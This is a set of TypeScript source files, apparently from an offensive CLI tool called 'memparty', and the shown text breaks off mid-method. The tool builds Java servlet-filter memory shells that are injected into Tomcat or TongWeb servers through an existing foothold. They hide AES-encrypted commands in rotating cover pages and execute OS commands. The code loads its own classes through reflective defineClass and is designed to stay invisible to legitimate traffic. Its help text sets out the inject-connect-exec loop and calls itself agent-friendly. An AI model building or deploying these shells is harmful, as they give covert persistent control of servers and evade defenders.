project.shells[shellName];\r\n if (!stored) {\r\n const known = Object.keys(project.shells);\r\n throw new Error(\r\n `unknown shell ${JSON.stringify(ref)} — project ${JSON.stringify(projectName)} has: ` +\r\n (known.length > 0 ? known.join(\", \") : \"(none)\"),\r\n );\r\n }\r\n targetName = `${projectName}/${shellName}`;\r\n }\r\n\r\n const tool = (flags.tool ?? stored?.tool) as ConnectTool | undefined;\r\n const url = flags.url ?? stored?.url;\r\n if (!url) {\r\n throw new Error(\"no URL — pass --url or a saved target name\");\r\n }\r\n if (!tool) {\r\n throw new Error(\"--tool is required — see the command's --help for available protocols\");\r\n }\r\n return {\r\n url,\r\n tool,\r\n pass: flags.pass ?? stored?.pass,\r\n key: flags.key ?? stored?.key,\r\n headerName: flags.headerName ?? stored?.headerName,\r\n headerValue: flags.headerValue ?? stored?.headerValue,\r\n extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },\r\n insecure: flags.insecure ?? stored?.insecure,\r\n profile: flags.profile ?? stored?.profile,\r\n targetName,\r\n };\r\n}\r\n","import { Command } from \"commander\";\n\nimport { createClient, logInfo, reportError, type GlobalOptions } from \"../cli-context.js\";\nimport { randomString } from \"../connect/crypto.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { loadProfile } from \"../core/site-profile.js\";\nimport { buildCustomMemshell } from \"../custom/build.js\";\n\ninterface CustomBuildCmdOptions extends GlobalOptions {\n profile?: string;\n server?: string;\n type?: string;\n pass?: string;\n key?: string;\n urlPattern?: string;\n packer?: string;\n jdk?: string;\n out?: string;\n json?: boolean;\n}\n\n/**\n * `memparty custom build` — the agent-friendly one-shot: profile in,\n * injectable mimic memory shell out. The generated credentials and the\n * follow-up connect command are printed (and stored in manifest.json) so an\n * agent can chain the steps without re-deriving anything.\n */\nexport function registerCustomCommand(program: Command): void {\n program\n .command(\"custom\")\n .description(\"Custom (mimic) memory shells built from a site profile\")\n .addCommand(\n new Command(\"build\")\n .description(\"profile -> filter class -> MemShellParty Custom -> injectable payload\")\n .requiredOption(\"--profile <name>\", \"site profile name (see 'memparty profile list')\")\n .requiredOption(\"--server <server>\", \"target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')\")\n .option(\"--type <shellType>\", \"shell type the filter implements\", \"Filter\")\n .option(\"--pass <pass>\", \"credential baked into the shell (random if omitted)\")\n .option(\"--key <key>\", \"crypto key baked into the shell (random if omitted)\")\n .option(\"--url-pattern <pattern>\", \"injector URL pattern\", \"/*\")\n .option(\"--packer <packer>\", \"payload packer\", \"DefaultBase64\")\n .option(\"--jdk <version>\", \"target JDK, e.g. java8\", \"java8\")\n .option(\"--out <dir>\", \"output directory\", undefined)\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nThe full loop (see docs/mimic-memshell-guide.md):\n 1. write a site profile memparty profile init acme --site https://acme.cn\n 2. build the shell memparty custom build --profile acme --server Tomcat\n 3. inject payload-*.txt via your foothold (RCE / existing shell / upload)\n 4. connect + exec memparty connect -u <url> -t mimic --profile acme ...\n\nDelivery is NOT part of this command — it only builds the payload.\nRequires a JDK (javac on PATH) and a MemShellParty backend (--api).\n`,\n )\n .action(async (opts: CustomBuildCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions;\n const fail = (message: string): void => {\n reportError(message, opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n };\n\n let profile;\n try {\n profile = loadProfile(opts.profile!);\n } catch (err) {\n fail(err instanceof Error ? err.message : String(err));\n return;\n }\n\n // credentials are generated unless given — they are baked into the class\n const pass = opts.pass ?? randomString(10);\n const secret = opts.key ?? randomString(16);\n const outDir = opts.out ?? `${opts.profile}-build`;\n\n const client = createClient(globals);\n const started = Date.now();\n try {\n const result = await buildCustomMemshell(\n {\n profile,\n server: opts.server!,\n shellType: opts.type,\n pass,\n secret,\n urlPattern: opts.urlPattern,\n packer: opts.packer,\n jdk: opts.jdk,\n outDir,\n },\n client,\n );\n\n logOp({\n category: \"gen\",\n action: \"custom-build\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${result.fullClassName} -> ${result.injectorClassName} (${result.server}/${result.shellType})`,\n meta: {\n profile: profile.name,\n server: result.server,\n shellType: result.shellType,\n packer: result.packer,\n },\n });\n\n if (opts.json) {\n const { response: _response, ...summary } = result;\n process.stdout.write(`${JSON.stringify({ ok: true, ...summary }, null, 2)}\\n`);\n return;\n }\n\n logInfo(`filter class: ${result.fullClassName}`);\n logInfo(\n `injector class: ${result.injectorClassName} (server=${result.server}, type=${result.shellType})`,\n );\n logInfo(`credentials: --pass ${result.pass} --key ${result.secret}`);\n logInfo(`cipher: ${JSON.stringify(result.cipher)}`);\n for (const [name, file] of Object.entries(result.files.payloads)) {\n logInfo(`payload [${name}]: ${file}`);\n }\n logInfo(`manifest: ${result.files.manifest}`);\n process.stdout.write(\n `\\nnext steps:\\n` +\n ` 1. inject the payload via your foothold (RCE defineClass / existing shell / upload)\\n` +\n ` 2. memparty connect -u <shell-url> -t mimic --profile ${profile.name} --pass ${result.pass} --key ${result.secret}\\n` +\n ` 3. memparty exec <host>/mimic --cmd \"id\"\\n`,\n );\n } catch (err) {\n logOp({\n category: \"gen\",\n action: \"custom-build\",\n ok: false,\n durationMs: Date.now() - started,\n error: err instanceof Error ? err.message : String(err),\n meta: { profile: profile.name, server: opts.server },\n });\n fail(err instanceof Error ? err.message : String(err));\n }\n }),\n );\n}\n","/**\n * `memparty custom build` — turn a site profile into an injectable mimic\n * memory shell:\n *\n * profile ──render──> MimicFilter.java ──javac──> .class ──MemShellParty\n * shellTool=Custom──> injector + packed payload, ready for the foothold\n *\n * The filter is a plain javax.servlet.Filter — it carries NO middleware\n * specifics. Those live in the injector, which MemShellParty generates for\n * the chosen --server (Tomcat, TongWeb, Jetty, …). Delivery (the RCE / file\n * upload / existing webshell that defines the class) stays with the operator.\n *\n * Everything the follow-up `connect` needs is written to a manifest.json in\n * the output directory — pass/key/cipher are baked into the class, so the\n * manifest is the single source of truth for the client side.\n */\nimport { mkdirSync, readFileSync, writeFileSync } from \"node:fs\";\nimport { join } from \"node:path\";\n\nimport type { MemShellGenerateResponse, MemPartyClient } from \"../api/index.js\";\nimport { resolveCipher, type MimicCipher } from \"../connect/mimic-codecs.js\";\nimport { randomString } from \"../connect/crypto.js\";\nimport { resolveJreVersion } from \"../core/jdk.js\";\nimport {\n inferBodyTemplateContentType,\n profileRequests,\n profileTemplates,\n type SiteProfile,\n} from \"../core/site-profile.js\";\nimport { renderFilterJava, renderWrapperJava } from \"./java-template.js\";\nimport { compileJava, servletApiJar } from \"./javac.js\";\n\nexport interface CustomBuildInput {\n profile: SiteProfile;\n /** MemShellParty server name, e.g. \"Tomcat\", \"TongWeb\" (see 'memparty config tools'). */\n server: string;\n /** Shell type the uploaded class implements (default \"Filter\"). */\n shellType?: string;\n /** Credentials baked into the filter — the client reuses them at connect time. */\n pass: string;\n secret: string;\n /** Injector URL pattern (default \"/*\"). */\n urlPattern?: string;\n /** Packer for the injector bytes (default \"DefaultBase64\"). */\n packer?: string;\n /** Target JRE, e.g. \"java8\" (default) — forwarded to the backend. */\n jdk?: string | number;\n /** Simple class name (default random MimicFilterXXXX — bump on every re-injection). */\n className?: string;\n /** Output directory for all artifacts. */\n outDir: string;\n}\n\nexport interface CustomBuildResult {\n className: string;\n fullClassName: string;\n injectorClassName: string;\n packer: string;\n server: string;\n shellType: string;\n urlPattern: string;\n pass: string;\n secret: string;\n cipher: MimicCipher;\n /** Backend response (payloads included). */\n response: MemShellGenerateResponse;\n files: {\n java: string;\n classFile: string;\n manifest: string;\n payloads: Record<string, string>;\n };\n}\n\n/** The subset of MemPartyClient this flow needs (easy to fake in tests). */\nexport type GenerateClient = Pick<MemPartyClient, \"generateMemShell\">;\n\n/** Injectable seams for tests. */\nexport interface BuildDeps {\n compile?: (sources: string[], outDir: string, opts: { classpath?: string[] }) => void;\n servletJar?: () => string;\n}\n\n/** Carrier field names the filter should probe, from the profile's request shapes. */\nexport function profileSecretFields(profile: SiteProfile): string[] {\n const shapes = profileRequests(profile);\n const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];\n return fields.length > 0 ? fields : [\"pass\"];\n}\n\n/** Normalize a Content-Type to the lowercase needle the filter contains-matches. */\nfunction ctNeedle(ct: string): string {\n const media = ct.toLowerCase().split(\";\", 1)[0]!.trim();\n if (media.includes(\"json\")) return \"json\";\n if (media.includes(\"multipart\")) return \"multipart\";\n if (media.includes(\"xml\")) return \"xml\";\n return media;\n}\n\n/**\n * Body Content-Type needles the filter reads bodies for, derived from the\n * profile's body shapes (json bodyStyle / bodyTemplate CT, explicit or\n * inferred). Empty = the filter never touches the body stream — reading a\n * body the shell doesn't own consumes it and breaks the app behind it.\n */\nexport function profileBodyContentTypes(profile: SiteProfile): string[] {\n const needles = new Set<string>();\n for (const r of profileRequests(profile)) {\n if (r.secretIn !== undefined && r.secretIn !== \"body\") continue;\n if (r.bodyTemplate !== undefined) {\n const explicit = Object.entries(r.headers ?? {}).find(\n ([k]) => k.toLowerCase() === \"content-type\",\n )?.[1];\n const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);\n if (ct) needles.add(ctNeedle(ct));\n } else if (r.bodyStyle === \"json\") {\n needles.add(\"json\");\n }\n }\n return [...needles];\n}\n\n/** Default class name: MimicFilter + 4 random chars (a JVM can't re-define a class). */\nexport function defaultClassName(): string {\n return `MimicFilter${randomString(4)}`;\n}\n\nexport async function buildCustomMemshell(\n input: CustomBuildInput,\n client: GenerateClient,\n deps: BuildDeps = {},\n): Promise<CustomBuildResult> {\n const compile = deps.compile ?? compileJava;\n const jarOf = deps.servletJar ?? servletApiJar;\n\n const className = input.className ?? defaultClassName();\n const shellType = input.shellType ?? \"Filter\";\n const urlPattern = input.urlPattern ?? \"/*\";\n const packer = input.packer ?? \"DefaultBase64\";\n const cipher = resolveCipher(input.profile.cipher);\n const templates = profileTemplates(input.profile).map((t) => ({\n template: t.template,\n contentType: t.contentType,\n }));\n if (templates.length === 0) {\n throw new Error(`profile '${input.profile.name}' has no templates — nothing to use as cover page`);\n }\n\n const outDir = input.outDir;\n const packageDir = join(outDir, \"mimic\");\n mkdirSync(packageDir, { recursive: true });\n\n // phase 1: the body-caching wrapper (fixed source). Its bytes ride inside\n // the filter as base64 — the filter self-defines them at runtime, because\n // MemShellParty's Custom generator can only resolve a single class file.\n const wrapperFile = join(packageDir, \"CachedBody.java\");\n writeFileSync(wrapperFile, renderWrapperJava(), \"utf8\");\n compile([wrapperFile], outDir, { classpath: [jarOf()] });\n const wrapper = {\n bodyB64: readFileSync(join(packageDir, \"CachedBody.class\")).toString(\"base64\"),\n streamB64: readFileSync(join(packageDir, \"CachedBody$Stream.class\")).toString(\"base64\"),\n };\n\n // phase 2: the filter itself (single self-contained class uploaded to the backend)\n const javaSource = renderFilterJava({\n className,\n pass: input.pass,\n secret: input.secret,\n fields: profileSecretFields(input.profile),\n bodyContentTypes: profileBodyContentTypes(input.profile),\n templates,\n cipher,\n wrapper,\n });\n const javaFile = join(packageDir, `${className}.java`);\n writeFileSync(javaFile, javaSource, \"utf8\");\n\n compile([javaFile], outDir, { classpath: [jarOf()] });\n const classFile = join(packageDir, `${className}.class`);\n const shellClassBase64 = readFileSync(classFile).toString(\"base64\");\n\n const response = await client.generateMemShell({\n shellConfig: {\n server: input.server,\n shellTool: \"Custom\",\n shellType,\n targetJreVersion: resolveJreVersion(input.jdk ?? \"java8\"),\n },\n shellToolConfig: {\n shellClassName: `mimic.${className}`,\n shellClassBase64,\n },\n injectorConfig: { urlPattern },\n packer,\n });\n\n // one file per payload variant (aggregate packers return several)\n const payloads: Record<string, string> = {};\n if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {\n for (const [name, value] of Object.entries(response.allPackResults)) {\n const file = join(outDir, `payload-${name}.txt`);\n writeFileSync(file, `${value}\\n`, \"utf8\");\n payloads[name] = file;\n }\n } else if (response.packResult !== undefined) {\n const file = join(outDir, \"payload.txt\");\n writeFileSync(file, `${response.packResult}\\n`, \"utf8\");\n payloads[packer] = file;\n }\n\n const result: CustomBuildResult = {\n className,\n fullClassName: `mimic.${className}`,\n injectorClassName: response.memShellResult.injectorClassName,\n packer,\n server: input.server,\n shellType,\n urlPattern,\n pass: input.pass,\n secret: input.secret,\n cipher,\n response,\n files: {\n java: javaFile,\n classFile,\n manifest: join(outDir, \"manifest.json\"),\n payloads,\n },\n };\n\n const manifest = {\n tool: \"mimic\",\n createdAt: new Date().toISOString(),\n profile: input.profile.name,\n server: result.server,\n shellType: result.shellType,\n urlPattern: result.urlPattern,\n packer: result.packer,\n className: result.fullClassName,\n injectorClassName: result.injectorClassName,\n pass: result.pass,\n key: result.secret,\n cipher: result.cipher,\n note:\n \"pass/key/cipher are baked into the filter class. Editing the profile's cipher \" +\n \"section afterwards desynchronizes client and server — rebuild and re-inject.\",\n connect: `memparty connect -u <shell-url> -t mimic --profile ${input.profile.name} --pass ${result.pass} --key ${result.secret}`,\n files: result.files,\n };\n writeFileSync(result.files.manifest, `${JSON.stringify(manifest, null, 2)}\\n`, \"utf8\");\n\n return result;\n}\n","/** Maps friendly JDK names to Java class-file major versions. */\nexport const JDK_VERSIONS: Record<string, number> = {\n java6: 50,\n java8: 52,\n java9: 53,\n java11: 55,\n java17: 61,\n java21: 65,\n};\n\n/**\n * Resolve a user-supplied JDK value into a class-file major version number.\n * Accepts friendly names (\"java8\", \"8\"), or a raw major version (\"52\").\n */\nexport function resolveJreVersion(input: string | number | undefined): number | undefined {\n if (input === undefined || input === \"\") return undefined;\n\n if (typeof input === \"number\") return input;\n\n const normalized = input.trim().toLowerCase();\n\n // Friendly name, e.g. \"java8\"\n if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];\n\n // Bare java number, e.g. \"8\" -> java8\n const withPrefix = `java${normalized}`;\n if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];\n\n // Raw class-file major version, e.g. \"52\"\n const num = Number(normalized);\n if (Number.isInteger(num) && num > 0) return num;\n\n throw new Error(\n `Invalid JDK version \"${input}\". Use one of: ${Object.keys(JDK_VERSIONS).join(\", \")}, or a class-file major version like 52.`,\n );\n}\n","/**\n * Java source rendering for the mimic filter — the server half of the mimic\n * protocol, generated from a site profile and compiled by `memparty custom\n * build` (see docs/custom-memshell-design.md §B / mimic-memshell-guide.md).\n *\n * The crypto/encoding/padTail snippets below are the Java twins of\n * src/connect/mimic-codecs.ts. They are emitted VERBATIM into both the\n * filter and the CryptoProbe harness (renderCryptoProbe) — the probe is what\n * src/custom/java-probe.test.ts runs to prove the two languages produce\n * byte-compatible wire values. Never edit a snippet in only one place.\n *\n * The filter itself keeps the proven V6 behaviour:\n * - probe with getParameter()/getHeader() only (never touch the body\n * stream, so Behinder-style raw-body shells behind us keep working);\n * - anything that isn't ours falls through chain.doFilter untouched;\n * - any error answers with the plain cover page (stay quiet);\n * - the cover pages rotate per response.\n */\nimport type { MimicCipher } from \"../connect/mimic-codecs.js\";\n\nexport interface FilterTemplateOptions {\n /** Simple class name, e.g. \"MimicFilterAb3d\" (package is always `mimic`). */\n className: string;\n /** Credential pair — must match the client's --pass/--key at connect time. */\n pass: string;\n secret: string;\n /** Carrier field names (form fields / headers) that may hold the ciphertext. */\n fields: string[];\n /**\n * Lowercase Content-Type needles (contains-match): the body is read only\n * when its Content-Type matches one — derived from the profile's body\n * shapes. Empty = never touch the body stream: reading a body the shell\n * doesn't own consumes it and breaks the app behind us.\n */\n bodyContentTypes: string[];\n /** Cover bodies from the site profile (rotated per response, each with its contentType). */\n templates: Array<{ template: string; contentType: string }>;\n cipher: MimicCipher;\n /**\n * Base64 bytes of the body-wrapper classes (renderWrapperJava, compiled by\n * the build's first phase). The filter self-defines them at runtime so the\n * uploaded shell stays a single self-contained class — MemShellParty's\n * Custom generator can only resolve one class.\n */\n wrapper: { bodyB64: string; streamB64: string };\n}\n\n/**\n * The body-caching request wrapper, as a standalone fixed source — compiled\n * in the build's first phase, then embedded into the filter as base64 (it\n * self-defines the classes at runtime). Kept anonymous-class-free ON\n * PURPOSE: every named .class file must be embedded and defined explicitly.\n */\nexport function renderWrapperJava(): string {\n return `package mimic;\n\nimport java.io.*;\nimport javax.servlet.*;\nimport javax.servlet.http.*;\n\n/** Re-exposes a consumed request body to downstream filters/servlets. */\npublic class CachedBody extends HttpServletRequestWrapper {\n private final byte[] body;\n\n public CachedBody(HttpServletRequest req, byte[] body) {\n super(req);\n this.body = body;\n }\n\n public ServletInputStream getInputStream() {\n return new Stream(body);\n }\n\n public BufferedReader getReader() {\n return new BufferedReader(new InputStreamReader(getInputStream()));\n }\n\n static class Stream extends ServletInputStream {\n private final ByteArrayInputStream in;\n\n Stream(byte[] body) {\n this.in = new ByteArrayInputStream(body);\n }\n\n public int read() {\n return in.read();\n }\n\n public boolean isFinished() {\n return in.available() == 0;\n }\n\n public boolean isReady() {\n return true;\n }\n\n public void setReadListener(ReadListener l) {}\n }\n}\n`;\n}\n\n/** Escape a string for embedding as a Java string literal (non-ASCII -> \\uXXXX). */\nexport function javaStringLiteral(s: string): string {\n return s\n .replaceAll(\"\\\\\", \"\\\\\\\\\")\n .replaceAll('\"', '\\\\\"')\n .replaceAll(\"\\r\", \"\")\n .replaceAll(\"\\n\", \"\\\\n\")\n // eslint-disable-next-line no-control-regex\n .replaceAll(/[^\\x00-\\x7f]/g, (ch) => `\\\\u${ch.codePointAt(0)!.toString(16).padStart(4, \"0\")}`);\n}\n\n/** Java for the runtime self-loader (defines the embedded wrapper classes once). */\nfunction wrapperLoaderMethods(opts: FilterTemplateOptions): string {\n return `\n /** wrapper class bytes (mimic.CachedBody + its stream) — embedded so the\n uploaded shell stays a single self-contained class file */\n static final String WRAPPER_B64 = \"${opts.wrapper.bodyB64}\";\n static final String WRAPPER_STREAM_B64 = \"${opts.wrapper.streamB64}\";\n\n static Class<?> forNameQuiet(String name, ClassLoader cl) {\n try {\n return Class.forName(name, true, cl);\n } catch (Throwable t) {\n return null;\n }\n }\n\n static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {\n try {\n java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\",\n String.class, byte[].class, int.class, int.class);\n m.setAccessible(true);\n byte[] bytes = java.util.Base64.getDecoder().decode(b64);\n return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);\n } catch (Throwable t) {\n return null; // another shell in this JVM already defined it\n }\n }\n\n /** Wrap the request so downstream code can re-read the JSON body we consumed. */\n static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {\n ClassLoader cl = ${opts.className}.class.getClassLoader();\n Class<?> c = forNameQuiet(\"mimic.CachedBody\", cl);\n if (c == null) {\n defineQuiet(cl, \"mimic.CachedBody$Stream\", WRAPPER_STREAM_B64);\n c = defineQuiet(cl, \"mimic.CachedBody\", WRAPPER_B64);\n if (c == null) c = forNameQuiet(\"mimic.CachedBody\", cl);\n }\n return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)\n .newInstance(req, body);\n }\n`;\n}\n\n// ---------------------------------------------------------------------------\n// Shared method snippets — identical in the filter and the CryptoProbe.\n// ---------------------------------------------------------------------------\n\nconst MD5_METHOD = String.raw`\n static String md5Hex(String s) throws Exception {\n MessageDigest m = MessageDigest.getInstance(\"MD5\");\n byte[] d = m.digest(s.getBytes(\"UTF-8\"));\n StringBuilder sb = new StringBuilder();\n for (byte b : d) sb.append(String.format(\"%02x\", b & 0xff));\n return sb.toString();\n }\n`;\n\nfunction cryptMethod(algorithm: MimicCipher[\"algorithm\"]): string {\n switch (algorithm) {\n case \"aes-ecb\":\n return String.raw`\n static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {\n Cipher c = Cipher.getInstance(\"AES/ECB/PKCS5Padding\");\n c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,\n new SecretKeySpec(key.getBytes(\"UTF-8\"), \"AES\"));\n return c.doFinal(data);\n }\n`;\n case \"aes-cbc\":\n return String.raw`\n static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {\n Cipher c = Cipher.getInstance(\"AES/CBC/PKCS5Padding\");\n SecretKeySpec ks = new SecretKeySpec(key.getBytes(\"UTF-8\"), \"AES\");\n if (enc) {\n byte[] iv = new byte[16];\n new java.security.SecureRandom().nextBytes(iv);\n c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));\n byte[] ct = c.doFinal(data);\n ByteArrayOutputStream bos = new ByteArrayOutputStream();\n bos.write(iv);\n bos.write(ct);\n return bos.toByteArray();\n }\n c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));\n return c.doFinal(data, 16, data.length - 16);\n }\n`;\n case \"xor\":\n return String.raw`\n static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {\n byte[] k = key.getBytes(\"UTF-8\");\n byte[] out = new byte[data.length];\n for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);\n return out;\n }\n`;\n }\n}\n\nfunction encDecMethods(encoding: MimicCipher[\"encoding\"]): string {\n switch (encoding) {\n case \"base64\":\n return String.raw`\n static String enc(byte[] data) {\n return java.util.Base64.getEncoder().encodeToString(data);\n }\n static byte[] dec(String s) {\n return java.util.Base64.getDecoder().decode(s);\n }\n`;\n case \"base64url\":\n return String.raw`\n static String enc(byte[] data) {\n return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);\n }\n static byte[] dec(String s) {\n return java.util.Base64.getUrlDecoder().decode(s);\n }\n`;\n case \"hex\":\n return String.raw`\n static String enc(byte[] data) {\n StringBuilder sb = new StringBuilder();\n for (byte b : data) sb.append(String.format(\"%02x\", b & 0xff));\n return sb.toString();\n }\n static byte[] dec(String s) {\n ByteArrayOutputStream bos = new ByteArrayOutputStream();\n for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));\n return bos.toByteArray();\n }\n`;\n }\n}\n\n/** Behinder aes_with_magic's trick: junk tail of key-derived length (0-15). */\nconst PAD_METHODS = String.raw`\n static int padLen(String aesKey) throws Exception {\n return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;\n }\n static String appendPad(String s, String aesKey) throws Exception {\n int n = padLen(aesKey);\n StringBuilder sb = new StringBuilder(s);\n java.util.Random r = new java.util.Random();\n for (int i = 0; i < n; i++) {\n sb.append(\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\".charAt(r.nextInt(62)));\n }\n return sb.toString();\n }\n static String stripPad(String s, String aesKey) throws Exception {\n int n = padLen(aesKey);\n return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));\n }\n`;\n\nfunction fieldTransforms(cipher: MimicCipher): string {\n const afterEncode = cipher.padTail ? \"appendPad(s, aesKey)\" : \"s\";\n const beforeDecode = cipher.padTail ? \"stripPad(v, aesKey)\" : \"v\";\n return `\n static String encryptField(byte[] plain, String aesKey) throws Exception {\n String s = enc(crypt(plain, aesKey, true));\n return ${afterEncode};\n }\n static byte[] decryptField(String v, String aesKey) throws Exception {\n String s = ${beforeDecode};\n return crypt(dec(s), aesKey, false);\n }\n`;\n}\n\n/** Wrap the ciphertext into the fragment injected into the cover page. */\nfunction wrapPayloadMethod(marker: MimicCipher[\"marker\"]): string {\n if (marker === \"html-comment\") {\n return String.raw`\n static String wrapPayload(String payload, String passKey) throws Exception {\n return \"<!--Re\" + md5Hex(passKey).substring(0, 5) + \"_config:\" + payload + \"-->\";\n }\n`;\n }\n return String.raw`\n static String wrapPayload(String payload, String passKey) throws Exception {\n return \"<script>var Re\" + md5Hex(passKey).substring(0, 5) + \"_config=\\\"\" + payload + \"\\\";</script>\";\n }\n`;\n}\n\n/** All shared snippets in emission order (filter and probe use this order). */\nfunction sharedMethods(cipher: MimicCipher): string {\n return (\n MD5_METHOD +\n cryptMethod(cipher.algorithm) +\n encDecMethods(cipher.encoding) +\n (cipher.padTail ? PAD_METHODS : \"\") +\n fieldTransforms(cipher)\n );\n}\n\n// ---------------------------------------------------------------------------\n// The servlet filter (server half of the protocol).\n// ---------------------------------------------------------------------------\n\nexport function renderFilterJava(opts: FilterTemplateOptions): string {\n const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;\n const fieldsJava = fields.map((f) => `\"${javaStringLiteral(f)}\"`).join(\", \");\n const bodyCtsJava = bodyContentTypes.map((n) => `\"${javaStringLiteral(n)}\"`).join(\", \");\n const tplsJava = templates.map((t) => ` \"${javaStringLiteral(t.template)}\"`).join(\",\\n\");\n const ctsJava = templates.map((t) => `\"${javaStringLiteral(t.contentType)}\"`).join(\", \");\n\n return `package mimic;\n\nimport java.io.*;\nimport java.security.MessageDigest;\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.IvParameterSpec;\nimport javax.crypto.spec.SecretKeySpec;\nimport javax.servlet.*;\nimport javax.servlet.http.*;\n\n/**\n * mimic protocol server (matches src/connect/mimic-codecs.ts):\n * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}\n *\n * Detection uses getParameter()/getHeader() first, never touching the body\n * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a\n * caching wrapper, so the app's own endpoints (and other shells behind us)\n * still see the body. Anything that is not ours falls through chain.doFilter;\n * any error answers with the plain cover template.\n */\npublic class ${className} implements Filter {\n /** carriers that may hold the ciphertext (form fields / headers, from the profile) */\n static final String[] FIELDS = { ${fieldsJava} };\n /** body Content-Type needles the shell owns — anything else passes with its body untouched */\n static final String[] BODY_CTS = { ${bodyCtsJava} };\n /** credentials — must match the client's --pass/--key (key + marker derivation) */\n static final String PASS = \"${javaStringLiteral(pass)}\";\n static final String SECRET = \"${javaStringLiteral(secret)}\";\n /** Cover bodies from the site profile — rotated per response so the skin varies. */\n static final String[] TPLS = {\n${tplsJava}\n };\n /** Content-Type of each cover body (parallel to TPLS). */\n static final String[] CTS = { ${ctsJava} };\n\n public void init(FilterConfig filterConfig) {}\n public void destroy() {}\n${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}\n static byte[] readAll(InputStream in) throws IOException {\n ByteArrayOutputStream bos = new ByteArrayOutputStream();\n byte[] buf = new byte[8192];\n int n;\n while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);\n return bos.toByteArray();\n }\n\n /** read the body only when its Content-Type is one the profile actually uses */\n static boolean ctMatches(String ct) {\n String l = ct.toLowerCase();\n for (String n : BODY_CTS) if (l.contains(n)) return true;\n return false;\n }\n\n /** minimal \"field\":\"value\" extraction — cipher values carry no quotes/escapes */\n static String jsonField(String body, String field) {\n String needle = \"\\\\\"\" + field + \"\\\\\"\";\n int i = body.indexOf(needle);\n if (i < 0) return null;\n int colon = body.indexOf(':', i + needle.length());\n if (colon < 0) return null;\n int q1 = body.indexOf('\"', colon + 1);\n if (q1 < 0) return null;\n int q2 = body.indexOf('\"', q1 + 1);\n if (q2 < 0) return null;\n return body.substring(q1 + 1, q2);\n }\n\n /** minimal multipart extraction: the value follows the part headers of name=\"field\" */\n static String multipartField(String body, String field) {\n String needle = \"name=\\\\\"\" + field + \"\\\\\"\";\n int i = body.indexOf(needle);\n if (i < 0) return null;\n int sep = body.indexOf(\"\\\\r\\\\n\\\\r\\\\n\", i + needle.length());\n int sepLen = 4;\n if (sep < 0) { sep = body.indexOf(\"\\\\n\\\\n\", i + needle.length()); sepLen = 2; }\n if (sep < 0) return null;\n int start = sep + sepLen;\n int end = body.indexOf('\\\\n', start);\n if (end < 0) end = body.length();\n String v = body.substring(start, end).trim();\n return v.isEmpty() ? null : v;\n }\n\n /** minimal XML extraction: <field>value</field> */\n static String xmlField(String body, String field) {\n String open = \"<\" + field + \">\";\n int i = body.indexOf(open);\n if (i < 0) return null;\n int start = i + open.length();\n int end = body.indexOf(\"</\" + field + \">\", start);\n if (end < 0) return null;\n return body.substring(start, end);\n }\n${wrapperLoaderMethods(opts)}\n public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)\n throws IOException, ServletException {\n HttpServletRequest httpReq = request instanceof HttpServletRequest\n ? (HttpServletRequest) request : null;\n String value = null;\n for (String f : FIELDS) {\n value = request.getParameter(f);\n if (value == null && httpReq != null) {\n // secretIn=header: the ciphertext may ride a header instead of a form field\n value = httpReq.getHeader(f);\n }\n if (value != null) break;\n }\n if (value == null && httpReq != null) {\n // the ciphertext may ride a raw body of any bodyTemplate shape\n // (JSON / multipart / XML…). Read it once and re-expose it\n // downstream via the caching wrapper.\n String ct = httpReq.getContentType();\n if (ct != null && ctMatches(ct)) {\n try {\n byte[] bodyBytes = readAll(httpReq.getInputStream());\n String bodyText = new String(bodyBytes, \"UTF-8\");\n for (String f : FIELDS) {\n value = jsonField(bodyText, f);\n if (value == null) value = multipartField(bodyText, f);\n if (value == null) value = xmlField(bodyText, f);\n if (value != null) break;\n }\n request = wrapBody(httpReq, bodyBytes);\n } catch (Throwable wrapperFailed) {\n // the body is already consumed — pass through as-is\n }\n }\n }\n if (value == null) {\n chain.doFilter(request, response);\n return;\n }\n String aesKey;\n byte[] cmd;\n try {\n aesKey = md5Hex(SECRET).substring(0, 16);\n cmd = decryptField(value, aesKey);\n } catch (Exception notOurs) {\n // the field exists but doesn't decrypt — this is someone else's\n // legitimate request (e.g. the real login POST), stay invisible\n chain.doFilter(request, response);\n return;\n }\n int ti = new java.util.Random().nextInt(TPLS.length);\n String tpl = TPLS[ti];\n String tplCt = CTS[ti];\n try {\n String command = new String(cmd, \"UTF-8\");\n boolean win = System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n 